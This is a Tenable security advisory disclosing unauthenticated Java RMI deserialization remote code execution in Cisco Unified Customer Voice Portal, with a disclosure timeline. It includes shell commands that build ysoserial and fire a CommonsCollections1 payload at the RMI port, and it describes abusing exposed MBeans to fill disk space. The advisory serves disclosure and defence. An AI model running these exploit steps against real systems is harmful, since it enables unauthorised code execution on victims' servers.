Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Cisco Unified Customer Voice Portal Java Deserialization Remote Code Execution

Critical

Synopsis

The Cisco Unified Customer Voice Portal has a HTTP server running on TCP port 9443 if “Operations Console” is installed. From this website, under the “Device Management” menu, we can add/delete/edit Unified CVP Call Servers (among other types of servers) that need to be managed. Adding a second server hosted on the same LAN, and observing the two servers communicating across port 2099 shows the unencrypted communication between the servers was full of serialized Java objects (among other interesting things like the username "wsadmin" and the hash of wsadmin’s password). The servers communicate with each other using unauthenticated Java RMI. What does that mean for an attacker?

1. It is trivial to get remote code execution on either server using the unserialization of a Commons-Collections gadget as described in CVE-2015-6420. An attacker only needs to download ‘ysoserial’, build it, and execute it. Like so:


albino@lobster:~$ git clone https://github.com/frohoff/ysoserial.git ./ysormi
albino@lobster:~$ cd ./ysormi
albino@lobster:~/ysormi$ mvn install
albino@lobster:~/ysormi$ cd target
albino@lobster:~/ysormi/target$ java -cp ysoserial-0.0.2-SNAPSHOT-all.jar ysoserial.RMIRegistryExploit 192.168.1.6 2099 CommonsCollections1 "cmd /C mkdir C:\test"

2. Not only is there an RMI server on TCP port 2099, but also on TCP port 10001 and 10002 (We believe a couple others are configurable as well). All of these RMI servers expose a variety of MBeans that an unauthenticated remote user can invoke. We only found two MBeans that we felt were interesting (ignoring basic information gathering):

a. HotSpotDiagnostic offers the function “dumpHeap” which allows the user to write a file anywhere on the system. Two caveats: the invoker doesn’t control the contents of the file and the invoker can’t overwrite anything, making this an annoyance or potentially a low-end DoS for filling up drive space.

b. DiagnosticPortal contains functions for stopping and starting a packet sniffer. The pcap gets written to the root log directory. Basically, a way to fill up drive space again, with no critical impact.

Solution

Cisco has released Unified Customer Voice Portal version 11.5 which addresses this issue.

Disclosure Timeline

2016-01-18 - Issue discovered
2016-01-18 - Informed Cisco via psirt@cisco.com
2016-01-19 - Cisco acks email, will pass on to team investigating. CSCux35046 and CSCux35047 assigned
2016-03-15 - No fix info available in advisory still
2016-04-20 - No fix info available in advisory still
2016-05-17 - No fix info available in advisory still
2016-06-22 - No fix info available in advisory still
2016-06-22 - Ping vendor for status
2016-06-22 - Cisco replies "CSCux35047 is marked a duplicate of CSCux35046 and is public on the advisory listing"
2016-02-24 - Tenable points out there is no fix info for CSCux35046 either.
2016-06-22 - Ping vendor for update
2016-06-27 - Vendor says no ETA
2016-08-18 - No fix info available in advisory still
2016-09-26 - Cisco releases CVP 11.5
2016-10-19 - Ping vendor for update
2016-10-20 - Vendor says addressed in 11.5 (current release)
2017-03-25 - No fix info available in advisory still

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com